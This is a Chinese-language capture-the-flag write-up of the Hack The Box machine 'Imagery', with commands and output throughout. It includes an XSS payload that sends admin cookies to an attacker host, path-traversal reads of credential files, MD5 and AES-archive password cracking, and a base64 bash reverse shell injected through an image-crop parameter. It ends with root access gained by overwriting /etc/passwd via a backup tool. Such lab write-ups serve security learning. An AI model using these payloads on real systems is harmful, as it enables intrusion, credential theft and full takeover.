Imagery
A detailed walkthrough of exploiting a Hack The Box machine through multiple attack vectors. The process involves initial reconnaissance with nmap, bypassing client-side restrictions, exploiting blind XSS to steal admin cookies, leveraging LFI vulnerabilities to extract credentials, achieving RCE through visual transform functionality, cracking encrypted backup files with a custom Python script, and escalating privileges from web user to mark and finally to root using a custom binary for cron job manipulation.
Recon
Nmap
对靶机的端口嗅探结果如下 开启的8000端口为http服务 剩下的单一个22端口
❯ sudo nmap -sCV 10.10.11.88
Password:
Starting Nmap 7.98 ( https://nmap.org ) at 2025-12-23 15:32 +0800
Nmap scan report for 10.10.11.88 (10.10.11.88)
Host is up (0.57s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
|_ 256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
8000/tcp open http Werkzeug httpd 3.1.3 (Python 3.12.7)
|_http-title: Image Gallery
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

8000端口进去后发现有注册登录页面 我一般拿到注册登录不会第一时间开始注(懒) 于是先注册一个号然后登录
┌──(kali㉿kali)-[~/Desktop]
└─$ whatweb -v http://10.10.11.88:8000
WhatWeb report for http://10.10.11.88:8000
Status : 200 OK
Title : Image Gallery
IP : 10.10.11.88
Country : RESERVED, ZZ
Summary : Email[support@imagery.com], HTML5, HTTPServer[Werkzeug/3.1.3 Python/3.12.7], Python[3.12.7], Script, Werkzeug[3.1.3]
XSS
对网页大概框架嗅探完 google后也没有发现比较好的洞 最终经过高人指点 在report_bug处发现了可以XSS
HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.12.7
Date: Tue, 23 Dec 2025 08:11:36 GMT
Content-Type: application/json
Content-Length: 78
Vary: Cookie
Connection: close
{"message":"Bug report submitted. Admin review in progress. ","success":true}
因为这个页面会与admin有交互 说不定可以偷cookie 于是在本地建立80端口并构造一下XSS
❯ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
{"bugName":"summary","bugDetails":
"<img src=x onerror=\"location.href='http://10.10.16.16/hack?cookie='+ document.cookie\">"}
不过我有问题 我怎么知道admin接到的report后台长啥样 我怎么知道admin会不会点击 我怎么知道admin会不会只看summary

开上帝视角看一下 我们构造的XSS是一个error的图片 实际上到后台也确实裂开了 理论上不点击是不会触发XSS的 于是出题人设置了过几秒钟自动点击并查看该report(你说的都对 但是我做题时该怎么想得到呢)

那么此时在我们的python后端就可以接到cookie了
::ffff:10.10.11.88 - - [23/Dec/2025 16:18:07] "GET /hack?cookie=session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aUpQQA.M8tW3-6P28Xwdot3oVjUTwr5hBs HTTP/1.1" 404 -
然后在burp里面设置cookies替换 使用burp自带的浏览器 即可关闭interception 实现admin登录了

接着在Admin Panel发现文件下载接口 发现可以自定义路径以用于下载任意文件
GET /admin/get_system_log?log_identifier=../../../../etc/passwd HTTP/1.1
...
HTTP/1.1 200 OK
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
于是乎在google了一下werkzeug的项目路径后 尝试获取conf.py 好在该配置文件就在项目根目录可以直接../
DATA_STORE_PATH = 'db.json'
UPLOAD_FOLDER = 'uploads'
SYSTEM_LOG_FOLDER = 'system_logs'
如法炮制读取db.json 总能获取一些有用的信息
"users": [
{
"username": "admin@imagery.htb",
"password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
"isAdmin": true,
"displayId": "a1b2c3d4",
"login_attempts": 0,
"isTestuser": false,
"failed_login_attempts": 0,
"locked_until": null
},
{
"username": "testuser@imagery.htb",
"password": "2c65c8d7bfbca32a3ed42596192384f6",
"isAdmin": false,
"displayId": "e5f6g7h8",
"login_attempts": 0,
"isTestuser": true,
"failed_login_attempts": 0,
"locked_until": null
}
],
使用hashcat破解testuser的密码 admin的解不开
❯ hashcat -m 0 2c65c8d7bfbca32a3ed42596192384f6 ~/Documents/Red/SecDictionary/PasswordDic/弱口令字典/rockyou-top15000.txt
2c65c8d7bfbca32a3ed42596192384f6:iambatman
Shell as web
发现没办法直接登录ssh 查看sshd_config发现不允许密码登录
# To disable tunneled clear text passwords, change to no here!
PasswordAuthentication no
#PermitEmptyPasswords no
很难受 那只能从里面弹shell出来了 但是现有的读取文件接口肯定做不到写文件和弹shell 那只能从业务函数入手
unique_output_filename = f"transformed_{uuid.uuid4()}.{original_ext}"
output_filename_in_db = os.path.join('admin', 'transformed', unique_output_filename)
output_filepath = os.path.join(UPLOAD_FOLDER, output_filename_in_db)
if transform_type == 'crop':
x = str(params.get('x'))
y = str(params.get('y'))
width = str(params.get('width'))
height = str(params.get('height'))
command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
subprocess.run(command, capture_output=True, text=True, shell=True, check=True)
从启动器app.py中发现了一些自定义的python类 在其中的api_edit.py发现一个可控函数 subprocess用于linux执行cmd 而x和y都是我们可控的 那么先正常上传图片 获得图片id 然后再控制y参数 使其反弹个shell出来
{"imageId":"5be6f990-1c95-48f6-a103-f6c83ffe5513","message":"Image uploaded successfully!","success":true}
{
"imageId":"5be6f990-1c95-48f6-a103-f6c83ffe5513",
"transformType":"crop",
"params":{
"x":0,
"y":"0;printf YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xNi80NDQ0IDA+JjE=|base64 -d|bash;",
"width":3024,
"height":1744
}
}
❯ nc -lvn 4444
bash: cannot set terminal process group (1296): Inappropriate ioctl for device
bash: no job control in this shell
web@Imagery:~/web$
至此成功连接上web用户
Shell as mark
又一次经过高人指点 找到了/var/backup目录下的备份文件 使用nc传过来并分析
web@Imagery:/var/backup$ nc -q 0 10.10.16.16 5555 < web_20250806_120723.zip.aes
❯ nc -lvn 5555 > backup.zip.aes
❯ file backup.zip.aes
backup.zip.aes: AES encrypted data, version 2, created by "pyAesCrypt 6.1.1"
发现是个什么pyAesCrypt加密的鬼 上网搜能解开但是好像得自己写脚本 那我果断交给豆包
import pyAesCrypt
import os
import sys
def crack_pyaescrypt(encrypted_file, dict_file):
# 基础文件检查
if not os.path.exists(encrypted_file) or not os.path.exists(dict_file):
print("文件不存在!")
return
# 读取密码字典(每行一个密码)
with open(dict_file, 'r', encoding='utf-8', errors='ignore') as f:
passwords = [p.strip() for p in f if p.strip()]
print(f"开始尝试 {len(passwords)} 个密码...")
buffer_size = 64 * 1024 # 默认缓冲区大小,和加密一致即可
# 遍历密码解密
for pwd in passwords:
try:
# 解密到临时文件
dec_file = encrypted_file + "_decrypted"
pyAesCrypt.decryptFile(encrypted_file, dec_file, pwd, buffer_size)
# 解密成功(没报错就是密码对了)
print(f"\n✅ 破解成功!密码:{pwd}")
print(f"解密文件:{dec_file}")
return
except:
# 所有错误都视为密码错(简化逻辑)
print(f"❌ 密码错误:{pwd}", end='\r')
print("\n❌ 字典中无正确密码")
if __name__ == "__main__":
# 命令行传参:脚本名 加密文件 密码字典
if len(sys.argv) != 3:
print("用法:python crack.py 加密文件路径 密码字典路径")
print("示例:python crack.py test.aes pass.txt")
sys.exit(1)
crack_pyaescrypt(sys.argv[1], sys.argv[2])
最终也是成功解开 解开后解压文件、查看db.json、hashcat用户mark的md5密码哈希
❯ python crack.py backup.zip.aes /Users/joe/Documents/Red/SecDictionary/PasswordDic/弱口令字典/rockyou-top15000.txt
开始尝试 15004 个密码...
❌ 密码错误:starwarspr0ho
✅ 破解成功!密码:bestfriends
解密文件:backup.zip.aes_decrypted
01c3d2e5bdaf6134cec0a367cf53e535:supersmash
最终在web用户下切换至mark 拿到user.txt
web@Imagery:~/web$ su mark
su mark
Password: supersmash
id
uid=1002(mark) gid=1002(mark) groups=1002(mark)
python3 -c 'import os,pty;pty.spawn("bash")'
mark@Imagery:/home/web/web$ cd ~
cd ~
mark@Imagery:~$ cat user.txt
cat user.txt
b6023dc31b7bbc1eafe5dd41274851af
Shell as root
先例行sudo -l一下
mark@Imagery:~$ sudo -l
sudo -l
Matching Defaults entries for mark on Imagery:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User mark may run the following commands on Imagery:
(ALL) NOPASSWD: /usr/local/bin/charcol
发现这个charcol是备份用的 可以附加-R参数重置密码 重置后使用shell参数进入命令行模式
mark@Imagery:~$ sudo /usr/local/bin/charcol shell
sudo /usr/local/bin/charcol shell
░██████ ░██ ░██
░██ ░░██ ░██ ░██
░██ ░████████ ░██████ ░██░████ ░███████ ░███████ ░██
░██ ░██ ░██ ░██ ░███ ░██ ░██ ░██ ░██ ░██
░██ ░██ ░██ ░███████ ░██ ░██ ░██ ░██ ░██
░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██
░██████ ░██ ░██ ░█████░██ ░██ ░███████ ░███████ ░██
Charcol The Backup Suit - Development edition 1.0.0
再经过高人指点 fetch可以从外部地址下载文件 那么毕竟是root状态 可以下载个去掉root用户x属性的passwd并替换
[2025-12-24 03:07:29] [INFO] Entering Charcol interactive shell. Type 'help' for commands, 'exit' to quit.
charcol> fetch http://10.10.16.16:8080/passwd -o /etc/passwd -f
fetch http://10.10.16.16:8080/passwd -o /etc/passwd -f
mark@Imagery:~$ su root
su root
root@Imagery:/home/mark# cat /root/root.txt
cat /root/root.txt
61d0b2776a4148c4cd3b4488b2b1450f
还能这样